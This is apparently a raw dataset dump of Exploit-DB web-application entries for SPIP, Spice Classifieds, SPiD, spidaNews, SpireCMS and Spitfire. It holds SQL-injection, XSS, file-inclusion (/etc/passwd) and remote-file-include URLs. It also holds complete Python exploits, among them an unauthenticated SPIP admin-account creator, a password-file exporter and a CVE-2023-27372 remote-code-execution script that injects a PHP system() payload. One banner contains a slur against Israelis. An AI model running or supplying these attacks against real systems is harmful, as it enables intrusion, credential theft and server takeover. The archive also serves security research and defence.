deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6354
Description: Spice Classifieds - 'cat_path' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-03
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection ++++++++++++++
=======================================================


<<->> script      : Spice Classifieds

<<->> script site : www.classifieds-scripts.com/spice                  



=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> www.site.me/patch/index.php?cat_path=-99999+union+select+0,user(),2,3/*





=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->>  freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                                        anaconda-ksa $ sirus $ crazy-x $ br1ght-dark  $ colden-zero
                    

<<->> InjEctOr5 TeaM freinds  :: abo-najm $ Eng.Silent Night  $ spid3r-net $ hacker-b0y $ qalbhamad $ Mr.Dangers - RooT-HacKer - 07 - fisher - ToTal



<<->> All muslims

# milw0rm.com [2008-09-03]
Exploit-DB #34633
Description: SpiceWorks - 'query' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-08
Author: Adam Baldwin

Exploit:
source:  https://www.securityfocus.com/bid/43248/info

Spiceworks is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Spiceworks 3.6.33156 and 4.1.39229 are vulnerable; other versions may also be affected.

http://www.example.com/search?query=--%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Exploit-DB #25959
Description: Spid 1.3 - 'lang_path' File Inclusion
Type: webapps
Platform: php
Date: 2005-07-11
Author: skdaemon porra

Exploit:
source: https://www.securityfocus.com/bid/14208/info

SPiD is a gallery management application written in PHP.

SPiD is prone to a remote file include vulnerability, due to lack of validation of user input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/SPiD/lang/lang.php?lang_path=http://www.example.com
Exploit-DB #27311
Description: SPiD 1.3.1 - 'Scan_Lang_Insert.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-02-25
Author: NSA Group

Exploit:
source: https://www.securityfocus.com/bid/16822/info

SPiD is prone to a local file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of this issue may facilitate the unauthorized viewing of files and execution of local scripts.

http://www.example.com/spiddir/scan_lang_insert.php?lang=../../../../../../../../etc/passwd%00
Exploit-DB #17100
Description: spidaNews 1.0 - 'news.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-02
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : spidaNews V.1.0 SQL injection Vulnerability news.php (id)
+Autor : Easy Laster
+Date   : 02.04.2011
+Script  : spidaNews V.1.0
+Download : http://www.spidanet.de/webmaster/download/spidaNews.zip
+Price : free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents, websec-empire.to and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
#proof of concept
http://localhost/spidaNews/news.php?id=%27/**/+union+/**/select/**/+1,2,3
,version(),user(),6/**/--+
Exploit-DB #27172
Description: SPIP 1.8.2 - 'Spip_RSS.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-02-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16556/info

SPIP is prone to a remote command-execution vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP commands on an affected computer with the privileges of the webserver process.

Successful exploitation could facilitate unauthorized access; other attacks are also possible.

Version 1.8.2g and earlier are vulnerable; other versions may also be affected.

http://www.example.com/spip_rss.php?GLOBALS[type_urls]=/../ecrire/data/spip.log%00

http://www.example.com/spip_acces_doc.php3?id_document=0&file=<?system($_GET[cmd]);?>
http://www.example.com/spip_rss.php?cmd=ls%20-la&GLOBALS[type_urls]=/../ecrire/data/spip.log%00
Exploit-DB #27589
Description: SPIP 1.8.3 - 'Spip_login.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-10
Author: cR45H3R

Exploit:
source: https://www.securityfocus.com/bid/17423/info

SPIP is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[spip_dir]/spip_login.php3?url=[Evil_url]
Exploit-DB #27158
Description: SPIP 1.8/1.9 - 'index.php3' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-01
Author: Siegfried

Exploit:
source: https://www.securityfocus.com/bid/16461/info

SPIP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

The following proof of concept URI is available:
http://www.example.com/index.php3?lang=">xss
Exploit-DB #27157
Description: SPIP 1.8/1.9 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-02-01
Author: Siegfried

Exploit:
source: https://www.securityfocus.com/bid/16458/info

SPIP is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Versions prior to and including 1.8.2-e and 1.9 alpha 2 are vulnerable; other versions may also be affected. 

Example URIs have been provided:


http://wwww.example.com/forum.php3?id_article=1&id_forum=-1/**/UNION/**/SELECT%20pass%20from%20spip_auteurs/*


http://wwww.example.com/forum.php3?id_article=-1/**/UNION/**/SELECT%20pass%20from%20spip_auteurs/*
Exploit-DB #34388
Description: SPIP 2.1 - 'var_login' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-28
Author: dotsafe.fr

Exploit:
source: https://www.securityfocus.com/bid/42060/info

SPIP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SPIP version 2.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/spip.php?page=informer_auteur&var_login[a<script>alert('XSS');</script>a]=aaa
Exploit-DB #40597
Description: SPIP 3.1.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-10-20
Author: Sysdream

Exploit:
## SPIP 3.1.2 Exec Code Cross-Site Request Forgery (CVE-2016-7980)

### Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

### Vulnerability Description

The vulnerable request to `valider_xml` (see: *SPIP 3.1.2 Template Compiler/Composer PHP Code Execution - CVE-2016-7998*) is vulnerable to Cross-Site Request Forgery, allowing the execution of the CVE-2016-7998 attack by tricking an administrator to open the malicious link.

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-352

**CVSS Base Score**: 8.3 (High)

**CVE-ID**: CVE-2016-7980

### Proof of Concept

    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=/tmp/directory&ext=html

### Timeline (dd/mm/yyyy)

* 15/09/2016 : Initial discovery
* 26/09/2016 : Contact with SPIP Team
* 27/09/2016 : Answer from SPIP Team, sent advisory details
* 28/09/2016 : Fixes issued for CSRF
* 30/09/2016 : SPIP 3.1.3 Released

### Fixes

* https://core.spip.net/projects/spip/repository/revisions/23200
* https://core.spip.net/projects/spip/repository/revisions/23201
* https://core.spip.net/projects/spip/repository/revisions/23202


### Affected versions

* Version <= 3.1.2

### Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)

-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream
Exploit-DB #9448
Description: SPIP < 2.0.9 - Arbitrary Copy All Passwords to '.XML' File
Type: webapps
Platform: php
Date: 2009-08-18
Author: Kernel_Panik

Exploit:
#!/usr/bin/env python
# SPIP - Content Management System < 2.0.9 exploit
# https://www.securityfocus.com/bid/36008
# Author : Kernel_Panik
#

import urllib, urllib2
import cookielib
import sys

def send_request(urlOpener, url, post_data=None):
   request = urllib2.Request(url)
   url = urlOpener.open(request, post_data)
   return url.read()

def extract_hash(formulaire):
   return formulaire.split("<input name='hash' type='hidden' value='")[1].split("'")[0]


if len(sys.argv) < 3:
   print "SPIP < 2.0.9 exploit by Kernel_Panik\n\tUsage: python script.py <Base_url> <filename>"
   exit()

filename = sys.argv[2]
base_url = sys.argv[1]

cookiejar = cookielib.CookieJar()
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))


formulaire = send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] First request sended..."

formulaire_data = {'action' : 'export_all',
                   'export[]' : 'spip_auteurs',
                   'hash' : extract_hash(formulaire),
                   'arg' : 'start,,../../../IMG/'+filename+'.xml,0,1.3'
                  }
formulaire_data = urllib.urlencode(formulaire_data)


send_request(urlOpener, base_url+"spip.php", formulaire_data)
print "[+] Formulaire content sended"


send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] Second request sended"


send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] Last request sended"

xml_content = send_request(urlOpener, base_url+"IMG/"+filename+".xml")
print "[+] Xml file obtained"


result = open(filename+".xml", "w")
result.write(xml_content)
result.close()
print "[+] File saved "

# milw0rm.com [2009-08-18]
Exploit-DB #33425
Description: SPIP CMS < 2.0.23/ 2.1.22/3.0.9 - Privilege Escalation
Type: webapps
Platform: php
Date: 2014-05-19
Author: Gregory Draperi

Exploit:
#!/usr/bin/env python
# Exploit Title: SPIP - CMS < 3.0.9 / 2.1.22 / 2.0.23 - Privilege escalation to administrator account from non authenticated user
# Date: 04/30/2014
# Flaw finder : Unknown
# Exploit Author: Gregory DRAPERI
# Email: gregory |dot| draperi |at| gmail |dot| com
# Google Dork : inurl="spip.php"
# Vendor Homepage: www.spip.net
# Software Link: http://files.spip.org/spip/archives/
# Version: SPIP < 3.0.9 / 2.1.22 / 2.0.23
# Tested on: Windows 7 - SPIP 2.2.21
# CVE : CVE-2013-2118
'''
---------------------------------------------------------------------------------------------------------
Software Description:
SPIP is a free software content management system
---------------------------------------------------------------------------------------------------------
Vulnerability Details:
This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated.
To exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail.

'''
import urllib, urllib2
import cookielib
import sys
import re

def send_request(urlOpener, url, post_data=None):
   request = urllib2.Request(url)
   url = urlOpener.open(request, post_data)
   return url.read()

if len(sys.argv) < 4:
   print "SPIP < 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI\n\tUsage: python script.py <SPIP base_url> <login> <mail>"
   exit()

base_url = sys.argv[1]
login = sys.argv[2]
mail = sys.argv[3]

cookiejar = cookielib.CookieJar()
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))


formulaire = send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo")
print "[+] First request sended..."


m = re.search("<input name='formulaire_action_args' type='hidden'\n[^>]*", formulaire)
m = re.search("(?<=value=')[\w\+/=]*",m.group(0));


formulaire_data = {'var_ajax' : 'form',
                   'page' : 'identifiants',
                   'mode' : '0minirezo',
				   'formulaire_action' : 'inscription',
				   'formulaire_action_args' : m.group(0),
				   'nom_inscription' : login,
				   'mail_inscription' : mail,
				   'nobot' : ''
                  }
formulaire_data = urllib.urlencode(formulaire_data)


send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo", formulaire_data)
print "[+] Second request sended"


print "[+] You should receive an email with credentials soon :) "
Exploit-DB #51557
Description: spip v4.1.10 - Spoofing Admin account
Type: webapps
Platform: php
Date: 2023-07-03
Author: nu11secur1ty

Exploit:
## Exploit Title: spip v4.1.10 - Spoofing Admin account 
## Author: nu11secur1ty
## Date: 06.29.2023
## Vendor: https://www.spip.net/en_rubrique25.html
## Software: https://files.spip.net/spip/archives/spip-v4.1.10.zip
## Reference: https://www.crowdstrike.com/cybersecurity-101/spoofing-attacks/

## Description:
The malicious user can upload a malicious SVG file which file is not
filtered by a security function, and he can trick
the administrator of this system to check his logo by clicking on him
and visiting, maybe a very dangerous URL.
Wrong web app website logic, and not well sanitizing upload function.

STATUS: HIGH- Vulnerability

[+]Exploit:
```SVG
   <svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
     <defs>
       <linearGradient id="badgeGradient">
         <stop offset="0"/>
         <stop offset="1"/>
       </linearGradient>
     </defs>

     <g id="heading">
       <a xlink:href= "https://rb.gy/74f0y">
         <path id="badge" d="M 29.6,22.8 C 29.2,23.4 24.3,22.4
23.8,22.9 C 23.4,23.3 24.3,28.3 23.8,28.6 C 23.2,28.9 19.4,25.6
18.8,25.8 C 18.2,26.0 16.5,30.7 15.8,30.7 C 15.2,30.7 13.5,26.0
12.9,25.8 C 12.3,25.6 8.5,28.9 7.9,28.6 C 7.4,28.3 8.3,23.3 7.9,22.9 C
7.4,22.4 2.4,23.4 2.1,22.8 C 1.8,22.3 5.1,18.4 4.9,17.8 C 4.8,17.2
0.0,15.5 0.0,14.9 C 0.0,14.3 4.8,12.6 4.9,12.0 C 5.1,11.4 1.8,7.5
2.1,7.0 C 2.4,6.4 7.4,7.3 7.9,6.9 C 8.3,6.5 7.4,1.5 7.9,1.2 C 8.5,0.9
12.3,4.1 12.9,4.0 C 13.5,3.8 15.2,-0.8 15.8,-0.8 C 16.5,-0.8 18.2,3.8
18.8,4.0 C 19.4,4.1 23.2,0.9 23.8,1.2 C 24.3,1.5 23.4,6.5 23.8,6.9 C
24.3,7.3 29.2,6.4 29.6,7.0 C 29.9,7.5 26.6,11.4 26.8,12.0 C 26.9,12.6
31.7,14.3 31.7,14.9 C 31.7,15.5 26.9,17.2 26.8,17.8 C 26.6,18.4
29.9,22.3 29.6,22.8 z"/>
         <!--<text id="label" x="5" y="20" transform = "rotate(-15 10
10)">New</text>-->
         <text id="title" x="40" y="20">Please click on the logo, to
see our design services, on our website, thank you!</text>
       </a>
     </g>

   </svg>
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/SPIP/SPIP-4.1.10)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/06/spip-v4110-spoofing-admin-account.html)

## Time spend:
00:37:00
Exploit-DB #51536
Description: SPIP v4.2.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2023-06-20
Author: nuts7

Exploit:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Exploit Title: SPIP v4.2.1 - Remote Code Execution (Unauthenticated)
# Google Dork: inurl:"/spip.php?page=login"
# Date: 19/06/2023
# Exploit Author: nuts7 (https://github.com/nuts7/CVE-2023-27372)
# Vendor Homepage: https://www.spip.net/
# Software Link: https://files.spip.net/spip/archives/
# Version: < 4.2.1 (Except few fixed versions indicated in the description)
# Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0
# CVE reference : CVE-2023-27372 (coiffeur)
# CVSS : 9.8 (Critical)
#
# Vulnerability Description:
#
# SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
# This PoC exploits a PHP code injection in SPIP. The vulnerability exists in the `oubli` parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges.
#
# Usage: python3 CVE-2023-27372.py http://example.com

import argparse
import bs4
import html
import requests

def parseArgs():
    parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7")
    parser.add_argument("-u", "--url", default=None, required=True, help="SPIP application base URL")
    parser.add_argument("-c", "--command", default=None, required=True, help="Command to execute")
    parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
    return parser.parse_args()

def get_anticsrf(url):
    r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=10)
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
    if csrf_input:
        csrf_value = csrf_input['value']
        if options.verbose:
            print("[+] Anti-CSRF token found : %s" % csrf_value)
        return csrf_value
    else:
        print("[-] Unable to find Anti-CSRF token")
        return -1

def send_payload(url, payload):
    data = {
        "page": "spip_pass",
        "formulaire_action": "oubli",
        "formulaire_action_args": csrf,
        "oubli": payload
    }
    r = requests.post('%s/spip.php?page=spip_pass' % url, data=data)
    if options.verbose:
        print("[+] Execute this payload : %s" % payload)
    return 0

if __name__ == '__main__':
    options = parseArgs()

    requests.packages.urllib3.disable_warnings()
    requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
    try:
        requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
    except AttributeError:
        pass

    csrf = get_anticsrf(url=options.url)
    send_payload(url=options.url, payload="s:%s:\"<?php system('%s'); ?>\";" % (20 + len(options.command), options.command))
Exploit-DB #10408
Description: SpireCMS 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-13
Author: Dr.0rYX & Cr3W-DZ

Exploit:
                                ALGERIAN HACKER
  **********************- NORTH-AFRICA SECURITY TEAM -***********************

[!]            SpireCMS v2.0 SQL Injection Vulnerability
[!] Author    : Dr.0rYX and Cr3w-DZ
[!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

***************************************************************************/

[ Software Information ]

[+] Vendor : http://www.spiread.com/
[+] script   : SpireCMS v2.0
[+] Download : http://www.spiread.com/demo/ (sell script)
[+] Vulnerability : php SQL injection
[+] Dork :inurl:"photo_album.php?alb_id="

**************************************************************************/
[ Vulnerable File ]

http://server/photo_album.php?alb_id=[N.A.S.T ]

[ Exploit ]

http://server/photo_album.php?alb_id=-1+UNION+SELECT+GROUP_Concat(id,0x3a,username,0x3a,password)+from+users

http://server/photo_album.php?alb_id=-1+UNION+SELECT+GROUP_Concat(id,0x3a,username,0x3a,password),null+from+users

[  GReets ]

[+] :claw , le0n , exploit-db.com , ALL HACKERS MUSLIMS
Exploit-DB #34321
Description: Spitfire 1.0.381 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-07-15
Author: Nijel the Destroyer

Exploit:
source: https://www.securityfocus.com/bid/41701/info

Spitfire is prone to multiple cross-site scripting vulnerabilities and a cross-site request-forgery vulnerability.

An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, and disclose or modify sensitive information. Other attacks may also be possible.

Spitfire 1.0.381 is vulnerable; other versions may also be affected. 

http://www.example.com/cont_index.php?cms_id=PAGE_ID&search=1"><script>alert(document.cookie)</script>